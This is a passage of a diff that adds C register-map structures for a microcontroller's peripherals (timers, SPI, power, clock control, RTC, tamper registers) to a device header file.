CNT; /*!< TIM counter register, Address offset: 0x24 */ + __IO uint32_t PSC; /*!< TIM prescaler, Address offset: 0x28 */ + __IO uint32_t ARR; /*!< TIM auto-reload register, Address offset: 0x2C */ + __IO uint32_t RCR; /*!< TIM repetition counter register, Address offset: 0x30 */ + __IO uint32_t CCR1; /*!< TIM capture/compare register 1, Address offset: 0x34 */ + __IO uint32_t CCR2; /*!< TIM capture/compare register 2, Address offset: 0x38 */ + __IO uint32_t CCR3; /*!< TIM capture/compare register 3, Address offset: 0x3C */ + __IO uint32_t CCR4; /*!< TIM capture/compare register 4, Address offset: 0x40 */ + __IO uint32_t BDTR; /*!< TIM break and dead-time register, Address offset: 0x44 */ + __IO uint32_t CCR5; /*!< TIM capture/compare register 5, Address offset: 0x48 */ + __IO uint32_t CCR6; /*!< TIM capture/compare register 6, Address offset: 0x4C */ + __IO uint32_t CCMR3; /*!< TIM capture/compare mode register 3, Address offset: 0x50 */ + __IO uint32_t DTR2; /*!< TIM deadtime register 2, Address offset: 0x54 */ + __IO uint32_t ECR; /*!< TIM encoder control register, Address offset: 0x58 */ + __IO uint32_t TISEL; /*!< TIM Input Selection register, Address offset: 0x5C */ + __IO uint32_t AF1; /*!< TIM alternate function option register 1, Address offset: 0x60 */ + __IO uint32_t AF2; /*!< TIM alternate function option register 2, Address offset: 0x64 */ + __IO uint32_t OR1 ; /*!< TIM option register, Address offset: 0x68 */ + uint32_t RESERVED0[220];/*!< Reserved, Address offset: 0x6C */ + __IO uint32_t DCR; /*!< TIM DMA control register, Address offset: 0x3DC */ + __IO uint32_t DMAR; /*!< TIM DMA address for full transfer, Address offset: 0x3E0 */ +} TIM_TypeDef; + +/** + * @brief LPTIMER + */ +typedef struct +{ + __IO uint32_t ISR; /*!< LPTIM Interrupt and Status register, Address offset: 0x00 */ + __IO uint32_t ICR; /*!< LPTIM Interrupt Clear register, Address offset: 0x04 */ + __IO uint32_t DIER; /*!< LPTIM Interrupt Enable register, Address offset: 0x08 */ + __IO uint32_t CFGR; /*!< LPTIM Configuration register, Address offset: 0x0C */ + __IO uint32_t CR; /*!< LPTIM Control register, Address offset: 0x10 */ + __IO uint32_t CCR1; /*!< LPTIM Capture/Compare register 1, Address offset: 0x14 */ + __IO uint32_t ARR; /*!< LPTIM Autoreload register, Address offset: 0x18 */ + __IO uint32_t CNT; /*!< LPTIM Counter register, Address offset: 0x1C */ + __IO uint32_t RESERVED0; /*!< Reserved, Address offset: 0x20 */ + __IO uint32_t CFGR2; /*!< LPTIM Configuration register 2, Address offset: 0x24 */ + __IO uint32_t RCR; /*!< LPTIM Repetition register, Address offset: 0x28 */ + __IO uint32_t CCMR1; /*!< LPTIM Capture/Compare mode register, Address offset: 0x2C */ + __IO uint32_t RESERVED1; /*!< Reserved, Address offset: 0x30 */ + __IO uint32_t CCR2; /*!< LPTIM Capture/Compare register 2, Address offset: 0x34 */ +} LPTIM_TypeDef; + +/** + * @brief Comparator + */ +typedef struct +{ + __IO uint32_t CSR; /*!< Comparator control and status register, Address offset: 0x00 */ +} COMP_TypeDef; + +typedef struct +{ + __IO uint32_t CSR_ODD; /*!< COMP control and status register located in register of comparator instance odd, used for bits common to several COMP instances, Address offset: 0x00 */ + __IO uint32_t CSR_EVEN; /*!< COMP control and status register located in register of comparator instance even, used for bits common to several COMP instances, Address offset: 0x04 */ +} COMP_Common_TypeDef; + +/** + * @brief Operational Amplifier (OPAMP) + */ +typedef struct +{ + __IO uint32_t CSR; /*!< OPAMP control/status register, Address offset: 0x00 */ + __IO uint32_t OTR; /*!< OPAMP offset trimming register for normal mode, Address offset: 0x04 */ + __IO uint32_t LPOTR; /*!< OPAMP offset trimming register for low power mode, Address offset: 0x08 */ +} OPAMP_TypeDef; + +typedef struct +{ + __IO uint32_t CSR; /*!< OPAMP control/status register, used for bits common to + several OPAMP instances, Address offset: 0x00 */ +} OPAMP_Common_TypeDef; + + +/** + * @brief MDF/ADF + */ +typedef struct +{ + __IO uint32_t GCR; /*!< MDF Global Control register, Address offset: 0x00 */ + __IO uint32_t CKGCR; /*!< MDF Clock Generator Control Register, Address offset: 0x04 */ + uint32_t RESERVED1[6]; /*!< Reserved, 0x08-0x1C */ + __IO uint32_t OR; /*!< MDF Option Register, Address offset: 0x20 */ +}MDF_TypeDef; + +/** + * @brief MDF/ADF filter + */ +typedef struct +{ + __IO uint32_t SITFCR; /*!< MDF Serial Interface Control Register, Address offset: 0x80 */ + __IO uint32_t BSMXCR; /*!< MDF Bitstream Matrix Control Register, Address offset: 0x84 */ + __IO uint32_t DFLTCR; /*!< MDF Digital Filter Control Register, Address offset: 0x88 */ + __IO uint32_t DFLTCICR; /*!< MDF MCIC Configuration Register, Address offset: 0x8C */ + __IO uint32_t DFLTRSFR; /*!< MDF Reshape Filter Configuration Register, Address offset: 0x90 */ + __IO uint32_t DFLTINTR; /*!< MDF Integrator Configuration Register, Address offset: 0x94 */ + __IO uint32_t OLDCR; /*!< MDF Out-Of Limit Detector Control Register, Address offset: 0x98 */ + __IO uint32_t OLDTHLR; /*!< MDF OLD Threshold Low Register, Address offset: 0x9C */ + __IO uint32_t OLDTHHR; /*!< MDF OLD Threshold High Register, Address offset: 0xA0 */ + __IO uint32_t DLYCR; /*!< MDF Delay control Register, Address offset: 0xA4 */ + __IO uint32_t SCDCR; /*!< MDF short circuit detector control Register, Address offset: 0xA8 */ + __IO uint32_t DFLTIER; /*!< MDF DFLT Interrupt enable Register, Address offset: 0xAC */ + __IO uint32_t DFLTISR; /*!< MDF DFLT Interrupt status Register, Address offset: 0xB0 */ + __IO uint32_t OECCR; /*!< MDF Offset Error Compensation Control Register, Address offset: 0xB4 */ + __IO uint32_t SADCR; /*!< MDF SAD Control Register, Address offset: 0xB8 */ + __IO uint32_t SADCFGR; /*!< MDF SAD configuration register, Address offset: 0xBC */ + __IO uint32_t SADSDLVR; /*!< MDF SAD Sound level Register, Address offset: 0xC0 */ + __IO uint32_t SADANLVR; /*!< MDF SAD Ambient Noise level Register, Address offset: 0xC4 */ + uint32_t RESERVED1[9]; /*!< Reserved, 0xC8-0xE8 */ + __IO uint32_t SNPSDR; /*!< MDF Snapshot Data Register, Address offset: 0xEC */ + __IO uint32_t DFLTDR; /*!< MDF Digital Filter Data Register, Address offset: 0xF0 */ +} MDF_Filter_TypeDef; + +/** + * @brief HEXA and OCTO Serial Peripheral Interface + */ + +typedef struct +{ + __IO uint32_t CR; /*!< XSPI Control register, Address offset: 0x000 */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x004 */ + __IO uint32_t DCR1; /*!< XSPI Device Configuration register 1, Address offset: 0x008 */ + __IO uint32_t DCR2; /*!< XSPI Device Configuration register 2, Address offset: 0x00C */ + __IO uint32_t DCR3; /*!< XSPI Device Configuration register 3, Address offset: 0x010 */ + __IO uint32_t DCR4; /*!< XSPI Device Configuration register 4, Address offset: 0x014 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x018-0x01C */ + __IO uint32_t SR; /*!< XSPI Status register, Address offset: 0x020 */ + __IO uint32_t FCR; /*!< XSPI Flag Clear register, Address offset: 0x024 */ + uint32_t RESERVED2[6]; /*!< Reserved, Address offset: 0x028-0x03C */ + __IO uint32_t DLR; /*!< XSPI Data Length register, Address offset: 0x040 */ + uint32_t RESERVED3; /*!< Reserved, Address offset: 0x044 */ + __IO uint32_t AR; /*!< XSPI Address register, Address offset: 0x048 */ + uint32_t RESERVED4; /*!< Reserved, Address offset: 0x04C */ + __IO uint32_t DR; /*!< XSPI Data register, Address offset: 0x050 */ + uint32_t RESERVED5[11]; /*!< Reserved, Address offset: 0x054-0x07C */ + __IO uint32_t PSMKR; /*!< XSPI Polling Status Mask register, Address offset: 0x080 */ + uint32_t RESERVED6; /*!< Reserved, Address offset: 0x084 */ + __IO uint32_t PSMAR; /*!< XSPI Polling Status Match register, Address offset: 0x088 */ + uint32_t RESERVED7; /*!< Reserved, Address offset: 0x08C */ + __IO uint32_t PIR; /*!< XSPI Polling Interval register, Address offset: 0x090 */ + uint32_t RESERVED8[27]; /*!< Reserved, Address offset: 0x094-0x0FC */ + __IO uint32_t CCR; /*!< XSPI Communication Configuration register, Address offset: 0x100 */ + uint32_t RESERVED9; /*!< Reserved, Address offset: 0x104 */ + __IO uint32_t TCR; /*!< XSPI Timing Configuration register, Address offset: 0x108 */ + uint32_t RESERVED10; /*!< Reserved, Address offset: 0x10C */ + __IO uint32_t IR; /*!< XSPI Instruction register, Address offset: 0x110 */ + uint32_t RESERVED11[3]; /*!< Reserved, Address offset: 0x114-0x11C */ + __IO uint32_t ABR; /*!< XSPI Alternate Bytes register, Address offset: 0x120 */ + uint32_t RESERVED12[3]; /*!< Reserved, Address offset: 0x124-0x12C */ + __IO uint32_t LPTR; /*!< XSPI Low Power Timeout register, Address offset: 0x130 */ + uint32_t RESERVED13[3]; /*!< Reserved, Address offset: 0x134-0x13C */ + __IO uint32_t WPCCR; /*!< XSPI Wrap Communication Configuration register, Address offset: 0x140 */ + uint32_t RESERVED14; /*!< Reserved, Address offset: 0x144 */ + __IO uint32_t WPTCR; /*!< XSPI Wrap Timing Configuration register, Address offset: 0x148 */ + uint32_t RESERVED15; /*!< Reserved, Address offset: 0x14C */ + __IO uint32_t WPIR; /*!< XSPI Wrap Instruction register, Address offset: 0x150 */ + uint32_t RESERVED16[3]; /*!< Reserved, Address offset: 0x154-0x15C */ + __IO uint32_t WPABR; /*!< XSPI Wrap Alternate Bytes register, Address offset: 0x160 */ + uint32_t RESERVED17[7]; /*!< Reserved, Address offset: 0x164-0x17C */ + __IO uint32_t WCCR; /*!< XSPI Write Communication Configuration register, Address offset: 0x180 */ + uint32_t RESERVED18; /*!< Reserved, Address offset: 0x184 */ + __IO uint32_t WTCR; /*!< XSPI Write Timing Configuration register, Address offset: 0x188 */ + uint32_t RESERVED19; /*!< Reserved, Address offset: 0x18C */ + __IO uint32_t WIR; /*!< XSPI Write Instruction register, Address offset: 0x190 */ + uint32_t RESERVED20[3]; /*!< Reserved, Address offset: 0x194-0x19C */ + __IO uint32_t WABR; /*!< XSPI Write Alternate Bytes register, Address offset: 0x1A0 */ + uint32_t RESERVED21[23]; /*!< Reserved, Address offset: 0x1A4-0x1FC */ + __IO uint32_t HLCR; /*!< XSPI Hyperbus Latency Configuration register, Address offset: 0x200 */ + uint32_t RESERVED22[3]; /*!< Reserved, Address offset: 0x204-0x20C */ + __IO uint32_t CALFCR; /*!< XSPI Full-cycle calibration configuration + HSPI only, invalid for OCTOSPI, Address offset: 0x210 */ + uint32_t RESERVED23; /*!< Reserved, Address offset: 0x214 */ + __IO uint32_t CALMR; /*!< XSPI DLL master calibration configuration + HSPI only, invalid for OCTOSPI, Address offset: 0x218 */ + uint32_t RESERVED24; /*!< Reserved, Address offset: 0x21C */ + __IO uint32_t CALSOR; /*!< XSPI slave output calibration configuration + HSPI only, invalid for OCTOSPI, Address offset: 0x220 */ + uint32_t RESERVED25; /*!< Reserved, Address offset: 0x224 */ + __IO uint32_t CALSIR; /*!< XSPI slave input calibration configuration + HSPI only, invalid for OCTOSPI, Address offset: 0x228 */ +} XSPI_TypeDef; + +typedef XSPI_TypeDef OCTOSPI_TypeDef; + +typedef XSPI_TypeDef HSPI_TypeDef; + +/** + * @brief OTFDEC register + */ +typedef struct +{ + __IO uint32_t REG_CONFIGR; /*!< OTFDEC Region Configuration register, Address offset: 0x20 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_START_ADDR; /*!< OTFDEC Region Start Address register, Address offset: 0x24 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_END_ADDR; /*!< OTFDEC Region End Address register, Address offset: 0x28 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_NONCER0; /*!< OTFDEC Region Nonce register 0, Address offset: 0x2C + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_NONCER1; /*!< OTFDEC Region Nonce register 1, Address offset: 0x30 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_KEYR0; /*!< OTFDEC Region Key register 0, Address offset: 0x34 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_KEYR1; /*!< OTFDEC Region Key register 1, Address offset: 0x38 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_KEYR2; /*!< OTFDEC Region Key register 2, Address offset: 0x3C + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_KEYR3; /*!< OTFDEC Region Key register 3, Address offset: 0x40 + 0x30 * (x -1) (x = 1 to 4) */ +} OTFDEC_Region_TypeDef; + +typedef struct +{ + __IO uint32_t CR; /*!< OTFDEC Control register, Address offset: 0x000 */ + uint32_t RESERVED1[3]; /*!< Reserved, Address offset: 0x004-0x00C */ + __IO uint32_t PRIVCFGR; /*!< OTFDEC Privileged access control Configuration register, Address offset: 0x010 */ + uint32_t RESERVED2[187]; /*!< Reserved, Address offset: 0x014-0x2FC */ + __IO uint32_t ISR; /*!< OTFDEC Interrupt Status register, Address offset: 0x300 */ + __IO uint32_t ICR; /*!< OTFDEC Interrupt Clear register, Address offset: 0x304 */ + __IO uint32_t IER; /*!< OTFDEC Interrupt Enable register, Address offset: 0x308 */ +} OTFDEC_TypeDef; + + +/** + * @brief Serial Peripheral Interface IO Manager + */ +typedef struct +{ + __IO uint32_t CR; /*!< OCTOSPIM IO Manager Control register, Address offset: 0x00 */ + __IO uint32_t PCR[8]; /*!< OCTOSPIM IO Manager Port[1:8] Configuration register, Address offset: 0x04-0x20 */ +} XSPIM_TypeDef; + +typedef XSPIM_TypeDef OCTOSPIM_TypeDef; + +/** + * @brief Power Control + */ +typedef struct +{ + __IO uint32_t CR1; /*!< Power control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< Power control register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< Power control register 3, Address offset: 0x08 */ + __IO uint32_t VOSR; /*!< Power voltage scaling register, Address offset: 0x0C */ + __IO uint32_t SVMCR; /*!< Power supply voltage monitoring control register, Address offset: 0x10 */ + __IO uint32_t WUCR1; /*!< Power wakeup control register 1, Address offset: 0x14 */ + __IO uint32_t WUCR2; /*!< Power wakeup control register 2, Address offset: 0x18 */ + __IO uint32_t WUCR3; /*!< Power wakeup control register 3, Address offset: 0x1C */ + __IO uint32_t BDCR1; /*!< Power backup domain control register 1, Address offset: 0x20 */ + __IO uint32_t BDCR2; /*!< Power backup domain control register 2, Address offset: 0x24 */ + __IO uint32_t DBPR; /*!< Power disable backup domain register, Address offset: 0x28 */ + __IO uint32_t UCPDR; /*!< Power USB Type-C and Power Delivery register, Address offset: 0x2C */ + __IO uint32_t SECCFGR; /*!< Power Security configuration register, Address offset: 0x30 */ + __IO uint32_t PRIVCFGR; /*!< Power privilege control register, Address offset: 0x34 */ + __IO uint32_t SR; /*!< Power status register, Address offset: 0x38 */ + __IO uint32_t SVMSR; /*!< Power supply voltage monitoring status register, Address offset: 0x3C */ + __IO uint32_t BDSR; /*!< Power backup domain status register, Address offset: 0x40 */ + __IO uint32_t WUSR; /*!< Power wakeup status register, Address offset: 0x44 */ + __IO uint32_t WUSCR; /*!< Power wakeup status clear register, Address offset: 0x48 */ + __IO uint32_t APCR; /*!< Power apply pull configuration register, Address offset: 0x4C */ + __IO uint32_t PUCRA; /*!< Power Port A pull-up control register, Address offset: 0x50 */ + __IO uint32_t PDCRA; /*!< Power Port A pull-down control register, Address offset: 0x54 */ + __IO uint32_t PUCRB; /*!< Power Port B pull-up control register, Address offset: 0x58 */ + __IO uint32_t PDCRB; /*!< Power Port B pull-down control register, Address offset: 0x5C */ + __IO uint32_t PUCRC; /*!< Power Port C pull-up control register, Address offset: 0x60 */ + __IO uint32_t PDCRC; /*!< Power Port C pull-down control register, Address offset: 0x64 */ + __IO uint32_t PUCRD; /*!< Power Port D pull-up control register, Address offset: 0x68 */ + __IO uint32_t PDCRD; /*!< Power Port D pull-down control register, Address offset: 0x6C */ + __IO uint32_t PUCRE; /*!< Power Port E pull-up control register, Address offset: 0x70 */ + __IO uint32_t PDCRE; /*!< Power Port E pull-down control register, Address offset: 0x74 */ + __IO uint32_t PUCRF; /*!< Power Port F pull-up control register, Address offset: 0x78 */ + __IO uint32_t PDCRF; /*!< Power Port F pull-down control register, Address offset: 0x7C */ + __IO uint32_t PUCRG; /*!< Power Port G pull-up control register, Address offset: 0x80 */ + __IO uint32_t PDCRG; /*!< Power Port G pull-down control register, Address offset: 0x84 */ + __IO uint32_t PUCRH; /*!< Power Port H pull-up control register, Address offset: 0x88 */ + __IO uint32_t PDCRH; /*!< Power Port H pull-down control register, Address offset: 0x8C */ + __IO uint32_t PUCRI; /*!< Power Port I pull-up control register, Address offset: 0x90 */ + __IO uint32_t PDCRI; /*!< Power Port I pull-down control register, Address offset: 0x94 */ + __IO uint32_t PUCRJ; /*!< Power Port J pull-up control register, Address offset: 0x98 */ + __IO uint32_t PDCRJ; /*!< Power Port J pull-down control register, Address offset: 0x9C */ + uint32_t RESERVED3[2]; /*!< Reserved3, Address offset: 0x0A0-0x0A4 */ + __IO uint32_t CR4; /*!< Power power control register 4, Address offset: 0xA8 */ +} PWR_TypeDef; + +/** + * @brief SRAMs configuration controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< Control Register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< Interrupt Enable Register, Address offset: 0x04 */ + __IO uint32_t ISR; /*!< Interrupt Status Register, Address offset: 0x08 */ + __IO uint32_t SEAR; /*!< ECC Single Error Address Register, Address offset: 0x0C */ + __IO uint32_t DEAR; /*!< ECC Double Error Address Register, Address offset: 0x10 */ + __IO uint32_t ICR; /*!< Interrupt Clear Register, Address offset: 0x14 */ + __IO uint32_t WPR1; /*!< SRAM Write Protection Register 1, Address offset: 0x18 */ + __IO uint32_t WPR2; /*!< SRAM Write Protection Register 2, Address offset: 0x1C */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x20 */ + __IO uint32_t ECCKEY; /*!< SRAM ECC Key Register, Address offset: 0x24 */ + __IO uint32_t ERKEYR; /*!< SRAM Erase Key Register, Address offset: 0x28 */ +}RAMCFG_TypeDef; + +/** + * @brief Reset and Clock Control + */ +typedef struct +{ + __IO uint32_t CR; /*!< RCC clock control register Address offset: 0x00 */ + uint32_t RESERVED0; /*!< Reserved Address offset: 0x04 */ + __IO uint32_t ICSCR1; /*!< RCC internal clock sources calibration register 1 Address offset: 0x08 */ + __IO uint32_t ICSCR2; /*!< RCC internal clock sources calibration register 2 Address offset: 0x0C */ + __IO uint32_t ICSCR3; /*!< RCC internal clock sources calibration register 3 Address offset: 0x10 */ + __IO uint32_t CRRCR; /*!< RCC Clock Recovery RC Register Address offset: 0x14 */ + uint32_t RESERVED1; /*!< Reserved Address offset: 0x18 */ + __IO uint32_t CFGR1; /*!< RCC clock configuration register 1 Address offset: 0x1C */ + __IO uint32_t CFGR2; /*!< RCC clock configuration register 2 Address offset: 0x20 */ + __IO uint32_t CFGR3; /*!< RCC clock configuration register 3 Address offset: 0x24 */ + __IO uint32_t PLL1CFGR; /*!< PLL1 Configuration Register Address offset: 0x28 */ + __IO uint32_t PLL2CFGR; /*!< PLL2 Configuration Register Address offset: 0x2C */ + __IO uint32_t PLL3CFGR; /*!< PLL3 Configuration Register Address offset: 0x30 */ + __IO uint32_t PLL1DIVR; /*!< PLL1 Dividers Configuration Register Address offset: 0x34 */ + __IO uint32_t PLL1FRACR; /*!< PLL1 Fractional Divider Configuration Register Address offset: 0x38 */ + __IO uint32_t PLL2DIVR; /*!< PLL2 Dividers Configuration Register Address offset: 0x3C */ + __IO uint32_t PLL2FRACR; /*!< PLL2 Fractional Divider Configuration Register Address offset: 0x40 */ + __IO uint32_t PLL3DIVR; /*!< PLL3 Dividers Configuration Register Address offset: 0x44 */ + __IO uint32_t PLL3FRACR; /*!< PLL3 Fractional Divider Configuration Register Address offset: 0x48 */ + uint32_t RESERVED2; /*!< Reserved Address offset: 0x4C */ + __IO uint32_t CIER; /*!< Clock Interrupt Enable Register Address offset: 0x50 */ + __IO uint32_t CIFR; /*!< Clock Interrupt Flag Register Address offset: 0x54 */ + __IO uint32_t CICR; /*!< Clock Interrupt Clear Register Address offset: 0x58 */ + uint32_t RESERVED3; /*!< Reserved Address offset: 0x5C */ + __IO uint32_t AHB1RSTR; /*!< AHB1 Peripherals Reset Register Address offset: 0x60 */ + __IO uint32_t AHB2RSTR1; /*!< AHB2 Peripherals Reset Register 1 Address offset: 0x64 */ + __IO uint32_t AHB2RSTR2; /*!< AHB2 Peripherals Reset Register 2 Address offset: 0x68 */ + __IO uint32_t AHB3RSTR; /*!< AHB3 Peripherals Reset Register Address offset: 0x6C */ + uint32_t RESERVED4; /*!< Reserved Address offset: 0x70 */ + __IO uint32_t APB1RSTR1; /*!< APB1 Peripherals Reset Register 1 Address offset: 0x74 */ + __IO uint32_t APB1RSTR2; /*!< APB1 Peripherals Reset Register 2 Address offset: 0x78 */ + __IO uint32_t APB2RSTR; /*!< APB2 Peripherals Reset Register Address offset: 0x7C */ + __IO uint32_t APB3RSTR; /*!< APB3 Peripherals Reset Register Address offset: 0x80 */ + uint32_t RESERVED5; /*!< Reserved Address offset: 0x84 */ + __IO uint32_t AHB1ENR; /*!< AHB1 Peripherals Clock Enable Register Address offset: 0x88 */ + __IO uint32_t AHB2ENR1; /*!< AHB2 Peripherals Clock Enable Register 1 Address offset: 0x8C */ + __IO uint32_t AHB2ENR2; /*!< AHB2 Peripherals Clock Enable Register 2 Address offset: 0x90 */ + __IO uint32_t AHB3ENR; /*!< AHB3 Peripherals Clock Enable Register Address offset: 0x94 */ + uint32_t RESERVED6; /*!< Reserved Address offset: 0x98 */ + __IO uint32_t APB1ENR1; /*!< APB1 Peripherals Clock Enable Register 1 Address offset: 0x9C */ + __IO uint32_t APB1ENR2; /*!< APB1 Peripherals Clock Enable Register 2 Address offset: 0xA0 */ + __IO uint32_t APB2ENR; /*!< APB2 Peripherals Clock Enable Register Address offset: 0xA4 */ + __IO uint32_t APB3ENR; /*!< APB3 Peripherals Clock Enable Register Address offset: 0xA8 */ + uint32_t RESERVED7; /*!< Reserved Address offset: 0xAC */ + __IO uint32_t AHB1SMENR; /*!< AHB1 Peripherals Clock Enable in Sleep and Stop Modes Register Address offset: 0xB0 */ + __IO uint32_t AHB2SMENR1; /*!< AHB2 Peripherals Clock Enable in Sleep and Stop Modes Register 1 Address offset: 0xB4 */ + __IO uint32_t AHB2SMENR2; /*!< AHB2 Peripherals Clock Enable in Sleep and Stop Modes Register 2 Address offset: 0xB8 */ + __IO uint32_t AHB3SMENR; /*!< AHB3 Peripherals Clock Enable in Sleep and Stop Modes Register Address offset: 0xBC */ + uint32_t RESERVED8; /*!< Reserved Address offset: 0xC0 */ + __IO uint32_t APB1SMENR1; /*!< APB1 Peripherals Clock Enable in Sleep and Stop Modes Register 1 Address offset: 0xC4 */ + __IO uint32_t APB1SMENR2; /*!< APB1 Peripherals Clock Enable in Sleep and Stop Modes Register 2 Address offset: 0xC8 */ + __IO uint32_t APB2SMENR; /*!< APB2 Peripherals Clock Enable in Sleep and Stop Modes Register 1 Address offset: 0xCC */ + __IO uint32_t APB3SMENR; /*!< APB3 Peripherals Clock Enable in Sleep and Stop Modes Register 2 Address offset: 0xD0 */ + uint32_t RESERVED9; /*!< Reserved Address offset: 0xD4 */ + __IO uint32_t SRDAMR; /*!< SRD Autonomous Mode Register Address offset: 0xD8 */ + uint32_t RESERVED10; /*!< Reserved, Address offset: 0xDC */ + __IO uint32_t CCIPR1; /*!< IPs Clocks Configuration Register 1 Address offset: 0xE0 */ + __IO uint32_t CCIPR2; /*!< IPs Clocks Configuration Register 2 Address offset: 0xE4 */ + __IO uint32_t CCIPR3; /*!< IPs Clocks Configuration Register 3 Address offset: 0xE8 */ + uint32_t RESERVED11; /*!< Reserved, Address offset: 0xEC */ + __IO uint32_t BDCR; /*!< Backup Domain Control Register Address offset: 0xF0 */ + __IO uint32_t CSR; /*!< V33 Clock Control & Status Register Address offset: 0xF4 */ + uint32_t RESERVED[6]; /*!< Reserved Address offset: 0xF8 */ + __IO uint32_t SECCFGR; /*!< RCC secure configuration register Address offset: 0x110 */ + __IO uint32_t PRIVCFGR; /*!< RCC privilege configuration register Address offset: 0x114 */ +} RCC_TypeDef; + +/** + * @brief PKA + */ +typedef struct +{ + __IO uint32_t CR; /*!< PKA control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< PKA status register, Address offset: 0x04 */ + __IO uint32_t CLRFR; /*!< PKA clear flag register, Address offset: 0x08 */ + uint32_t Reserved[253]; /*!< Reserved memory area Address offset: 0x0C -> 0x03FC */ + __IO uint32_t RAM[1334]; /*!< PKA RAM Address offset: 0x400 -> 0x18D4 */ +} PKA_TypeDef; + +/* +* @brief RTC Specific device feature definitions +*/ +#define RTC_BKP_NB 32U +#define RTC_TAMP_NB 8U + +/** + * @brief Real-Time Clock + */ +typedef struct +{ + __IO uint32_t TR; /*!< RTC time register, Address offset: 0x00 */ + __IO uint32_t DR; /*!< RTC date register, Address offset: 0x04 */ + __IO uint32_t SSR; /*!< RTC sub second register, Address offset: 0x08 */ + __IO uint32_t ICSR; /*!< RTC initialization control and status register, Address offset: 0x0C */ + __IO uint32_t PRER; /*!< RTC prescaler register, Address offset: 0x10 */ + __IO uint32_t WUTR; /*!< RTC wakeup timer register, Address offset: 0x14 */ + __IO uint32_t CR; /*!< RTC control register, Address offset: 0x18 */ + __IO uint32_t PRIVCFGR; /*!< RTC privilege mode control register, Address offset: 0x1C */ + __IO uint32_t SECCFGR; /*!< RTC secure mode control register, Address offset: 0x20 */ + __IO uint32_t WPR; /*!< RTC write protection register, Address offset: 0x24 */ + __IO uint32_t CALR; /*!< RTC calibration register, Address offset: 0x28 */ + __IO uint32_t SHIFTR; /*!< RTC shift control register, Address offset: 0x2C */ + __IO uint32_t TSTR; /*!< RTC time stamp time register, Address offset: 0x30 */ + __IO uint32_t TSDR; /*!< RTC time stamp date register, Address offset: 0x34 */ + __IO uint32_t TSSSR; /*!< RTC time-stamp sub second register, Address offset: 0x38 */ + uint32_t RESERVED0; /*!< Reserved, Address offset: 0x3C */ + __IO uint32_t ALRMAR; /*!< RTC alarm A register, Address offset: 0x40 */ + __IO uint32_t ALRMASSR; /*!< RTC alarm A sub second register, Address offset: 0x44 */ + __IO uint32_t ALRMBR; /*!< RTC alarm B register, Address offset: 0x48 */ + __IO uint32_t ALRMBSSR; /*!< RTC alarm B sub second register, Address offset: 0x4C */ + __IO uint32_t SR; /*!< RTC Status register, Address offset: 0x50 */ + __IO uint32_t MISR; /*!< RTC masked interrupt status register, Address offset: 0x54 */ + __IO uint32_t SMISR; /*!< RTC secure masked interrupt status register, Address offset: 0x58 */ + __IO uint32_t SCR; /*!< RTC status Clear register, Address offset: 0x5C */ + uint32_t RESERVED4[4];/*!< Reserved, Address offset: 0x58 */ + __IO uint32_t ALRABINR; /*!< RTC alarm A binary mode register, Address offset: 0x70 */ + __IO uint32_t ALRBBINR; /*!< RTC alarm B binary mode register, Address offset: 0x74 */ +} RTC_TypeDef; + +/** + * @brief Tamper and backup registers + */ +typedef struct +{ + __IO uint32_t CR1; /*!< TAMP configuration register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< TAMP configuration register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< TAMP configuration register 3, Address offset: 0x08 */ + __IO uint32_t FLTCR; /*!< TAMP filter control register, Address offset: 0x0C */ + __IO uint32_t ATCR1; /*!< TAMP filter control register 1 Address offset: 0x10 */ + __IO uint32_t ATSEEDR; /*!< TAMP active tamper seed register, Address offset: 0x14 */ + __IO uint32_t ATOR; /*!< TAMP active tamper output register, Address offset: 0x18 */ + __IO uint32_t ATCR2; /*!< TAMP filter control register 2, Address offset: 0x1C */ + __IO uint32_t SECCFGR; /*!< TAMP secure mode control register, Address offset: 0x20 */ + __IO uint32_t PRIVCFGR; /*!< TAMP privilege mode control register, Address offset: 0x24 */ + uint32_t RESERVED0; /*!< Reserved, Address offset: 0x28 */ + __IO uint32_t IER; /*!< TAMP interrupt enable register, Address offset: 0x2C */ + __IO uint32_t SR; /*!< TAMP status register, Address offset: 0x30 */ + __IO uint32_t MISR; /*!< TAMP masked interrupt status register, Address offset: 0x34 */ + __IO uint32_t SMISR; /*!< TAMP secure masked interrupt status register,Address offset: 0x38 */ + __IO uint32_t SCR; /*!< TAMP status clear register, Address offset: 0x3C */ + __IO uint32_t COUNTR; /*!< TAMP monotonic counter register, Address offset: 0x40 */ + uint32_t RESERVED1[4]; /*!< Reserved, Address offset: 0x43 -- 0x50 */ + __IO uint32_t ERCFGR; /*!< TAMP erase configuration register, Address offset: 0x54 */ + uint32_t RESERVED2[42]; /*!< Reserved, Address offset: 0x58 -- 0xFC */ + __IO uint32_t BKP0R; /*!< TAMP backup register 0, Address offset: 0x100 */ + __IO uint32_t BKP1R; /*!< TAMP backup register 1, Address offset: 0x104 */ + __IO uint32_t BKP2R; /*!< TAMP backup register 2, Address offset: 0x108 */ + __IO uint32_t BKP3R; /*!< TAMP backup register 3, Address offset: 0x10C */ + __IO uint32_t BKP4R; /*!< TAMP backup register 4, Address offset: 0x110 */ + __IO uint32_t BKP5R; /*!< TAMP backup register 5, Address offset: 0x114 */ + __IO uint32_t BKP6R; /*!< TAMP backup register 6, Address offset: 0x118 */ + __IO uint32_t BKP7R; /*!< TAMP backup register 7, Address offset: 0x11C */ + __IO uint32_t BKP8R; /*!< TAMP backup register 8, Address offset: 0x120 */ + __IO uint32_t BKP9R; /*!< TAMP backup register 9, Address offset: 0x124 */ + __IO uint32_t BKP10R; /*!< TAMP backup register 10, Address offset: 0x128 */ + 